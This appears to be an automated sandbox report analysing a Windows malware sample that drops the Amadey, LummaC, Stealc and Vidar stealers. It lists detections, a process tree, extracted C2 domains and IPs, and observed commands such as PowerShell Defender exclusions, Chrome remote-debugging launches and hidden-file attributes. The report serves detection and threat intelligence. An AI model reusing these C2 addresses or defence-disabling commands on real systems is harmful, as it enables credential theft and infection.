Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1579322
MD5:	1790b57cfe11d52a447cb53b7632e0d9
SHA1:	3e4eb8d73efbe3ba55fbb61c8a0cfda695e302ef
SHA256:	09b5590de6b345c0c942426b23309b24e5504a692f408a8353de5fbf38986761
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected Amadeys Clipper DLL

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Drops PE files to the document folder of the user

Drops large PE files

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Loading BitLocker PowerShell Module

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

PE file has a writeable .text section

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Uses cmd line tools excessively to alter registry or file data

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to several IPs in different countries

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Enables security privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Powershell Defender Exclusion

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7340 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 1790B57CFE11D52A447CB53B7632E0D9)

skotes.exe (PID: 7524 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 1790B57CFE11D52A447CB53B7632E0D9)

skotes.exe (PID: 7652 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 1790B57CFE11D52A447CB53B7632E0D9)

skotes.exe (PID: 8164 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 1790B57CFE11D52A447CB53B7632E0D9)

0016128732.exe (PID: 7324 cmdline: "C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe" MD5: 1F26197A5239ABD7C93B7DC95C79F102)

chrome.exe (PID: 6368 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 8152 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2724 --field-trial-handle=2452,i,6832538450347870675,15529709356732568208,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

03f60c0f6e.exe (PID: 2688 cmdline: "C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe" MD5: 669ED3665495A4A52029FF680EC8EBA9)

c534667f0b.exe (PID: 7536 cmdline: "C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe" MD5: 04F57C6FB2B2CD8DCC4B38E4A93D4366)

conhost.exe (PID: 7540 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7640 cmdline: "powershell.exe" Add-MpPreference -ExclusionPath "C:\dciqrtt" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7648 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7832 cmdline: "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7836 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

3ca42ff3133e49daac5eafe0960f7af0.exe (PID: 6276 cmdline: "C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe" MD5: CC36E2A5A3C64941A79C31CA320E9797)

chrome.exe (PID: 3848 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7172 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2216 --field-trial-handle=2088,i,14124230610741043506,9399832751077093261,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1104 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 516 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2528 --field-trial-handle=2452,i,3932887190901628609,13787986242964853943,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3808 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7740 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2540 --field-trial-handle=2464,i,17310931600461636883,12711239818056080546,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7836 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7408 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2844 --field-trial-handle=2600,i,3487772156772132519,12680347466969316362,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

22129f7e57cc4f01a77377b20bd0ace2.exe (PID: 6604 cmdline: "C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe" MD5: 971B0519B1C0461DB6700610E5E9CA8E)

48a114f480.exe (PID: 8008 cmdline: "C:\Users\user\AppData\Local\Temp\1019456001\48a114f480.exe" MD5: 8D602240D09A31565069442E5D207E5B)

fde7a493e9.exe (PID: 480 cmdline: "C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe" MD5: 248AD0B12FF980668CCCEFE81E4BEEAA)

906ea9c047.exe (PID: 4468 cmdline: "C:\Users\user\AppData\Local\Temp\1019458001\906ea9c047.exe" MD5: 3A425626CBD40345F5B8DDDD6B2B9EFA)

cmd.exe (PID: 3284 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7076 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mode.com (PID: 3368 cmdline: mode 65,10 MD5: BEA7464830980BF7C0490307DB4FC875)

7z.exe (PID: 7544 cmdline: 7z.exe e file.zip -p24291711423417250691697322505 -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 4000 cmdline: 7z.exe e extracted/file_7.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 5116 cmdline: 7z.exe e extracted/file_6.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 3156 cmdline: 7z.exe e extracted/file_5.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 6920 cmdline: 7z.exe e extracted/file_4.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 4960 cmdline: 7z.exe e extracted/file_3.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 3156 cmdline: 7z.exe e extracted/file_2.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 7544 cmdline: 7z.exe e extracted/file_1.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

attrib.exe (PID: 7748 cmdline: attrib +H "in.exe" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

in.exe (PID: 5356 cmdline: "in.exe" MD5: 83D75087C9BF6E4F07C36E550731CCDE)

attrib.exe (PID: 3968 cmdline: attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

attrib.exe (PID: 6952 cmdline: attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

98d75c3c44.exe (PID: 4012 cmdline: "C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe" MD5: 3D5CED88E35789A074807DD040AC05E1)

fa82de29a9.exe (PID: 5596 cmdline: "C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe" MD5: 0C5F765BC208CEEF4C1E5BB760089E83)

chrome.exe (PID: 3292 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7896 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2456 --field-trial-handle=2264,i,442136233029730373,2572777427305726788,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

1a0440fbc4.exe (PID: 8024 cmdline: "C:\Users\user\AppData\Local\Temp\1019461001\1a0440fbc4.exe" MD5: 31AA561870EF5DB4E2019BA42B945990)

3c08a943ba.exe (PID: 1188 cmdline: "C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe" MD5: 53E6A751EF422F8CE7336DB32F8F5499)

17e7d05a4e.exe (PID: 7840 cmdline: "C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe" MD5: 15709EBA2AFAF7CC0A86CE0ABF8E53F1)

svchost.exe (PID: 2196 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

98d75c3c44.exe (PID: 8084 cmdline: "C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe" MD5: 3D5CED88E35789A074807DD040AC05E1)

fa82de29a9.exe (PID: 7112 cmdline: "C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe" MD5: 0C5F765BC208CEEF4C1E5BB760089E83)

1a0440fbc4.exe (PID: 7416 cmdline: "C:\Users\user\AppData\Local\Temp\1019461001\1a0440fbc4.exe" MD5: 31AA561870EF5DB4E2019BA42B945990)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: LummaC

{"C2 url": ["rapeflowwj.lat", "sustainskelet.lat", "energyaffai.lat", "discokeyus.lat", "necklacebudi.lat", "crosshuaht.lat", "treehoneyi.click", "grannyejh.lat", "aspecteirs.lat"], "Build id": "rAGxSF--load"}

Threatname: Vidar

{"C2 url": "https://steamcommunity.com/profiles/76561199809363512", "Botnet": "m0nk3"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author
C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
C:\Users\user\AppData\Local\Temp\1019464001\ebd07c8db5.exe	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[4].exe	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000022.00000003.3404178194.00000000010ED000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.2763054192.0000000003AC4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000002.00000002.1775834203.00000000000C1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000003.2750094261.00000000036D5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2715417561.00000000036CF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1727101383.0000000000261000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000002.1765829717.00000000000C1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000003.2745554337.00000000036CF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000026.00000003.3162743621.00000000052C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000002.2763054192.0000000003BE9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000002F.00000003.3319476192.0000000004F20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 03f60c0f6e.exe PID: 2688	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 03f60c0f6e.exe PID: 2688	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 03f60c0f6e.exe PID: 2688	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: c534667f0b.exe PID: 7536	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: c534667f0b.exe PID: 7536	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 3ca42ff3133e49daac5eafe0960f7af0.exe PID: 6276	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: 3ca42ff3133e49daac5eafe0960f7af0.exe PID: 6276	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Click to see the 13 entries

Unpacked PEs

Source	Rule	Description	Author
18.0.3ca42ff3133e49daac5eafe0960f7af0.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
2.2.skotes.exe.c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
1.2.skotes.exe.c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.260000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8164, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\98d75c3c44.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "powershell.exe" Add-MpPreference -ExclusionPath "C:\dciqrtt", CommandLine: "powershell.exe" Add-MpPreference -ExclusionPath "C:\dciqrtt", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe, ParentProcessId: 7536, ParentProcessName: c534667f0b.exe, ProcessCommandLine: "powershell.exe" Add-MpPreference -ExclusionPath "C:\dciqrtt", ProcessId: 7640, ProcessName: powershell.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe, ParentProcessId: 7324, ParentProcessName: 0016128732.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default", ProcessId: 6368, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8164, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\98d75c3c44.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell.exe" Add-MpPreference -ExclusionPath "C:\dciqrtt", CommandLine: "powershell.exe" Add-MpPreference -ExclusionPath "C:\dciqrtt", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe, ParentProcessId: 7536, ParentProcessName: c534667f0b.exe, ProcessCommandLine: "powershell.exe" Add-MpPreference -ExclusionPath "C:\dciqrtt", ProcessId: 7640, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 2196, ProcessName: svchost.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[5].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Avira: detection malicious, Label: HEUR/AGEN.1320706
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[3].exe	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 0000000A.00000002.2763054192.0000000003AC4000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": "https://steamcommunity.com/profiles/76561199809363512", "Botnet": "m0nk3"}
Source: 00000002.00000002.1775834203.00000000000C1000.00000040.00000001.01000000.00000007.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 03f60c0f6e.exe.2688.9.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["rapeflowwj.lat", "sustainskelet.lat", "energyaffai.lat", "discokeyus.lat", "necklacebudi.lat", "crosshuaht.lat", "treehoneyi.click", "grannyejh.lat", "aspecteirs.lat"], "Build id": "rAGxSF--load"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[4].exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[5].exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 56%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[4].exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[3].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[4].exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	ReversingLabs: Detection: 27%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	ReversingLabs: Detection: 86%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[3].exe	ReversingLabs: Detection: 18%
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	ReversingLabs: Detection: 27%
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	ReversingLabs: Detection: 56%
Source: C:\Users\user\AppData\Local\Temp\1019458001\906ea9c047.exe	ReversingLabs: Detection: 86%
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	ReversingLabs: Detection: 47%

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 55%
Source: file.exe	Virustotal: Detection: 58%			Perma Link

AI detected suspicious sample

Source: Submited Sample

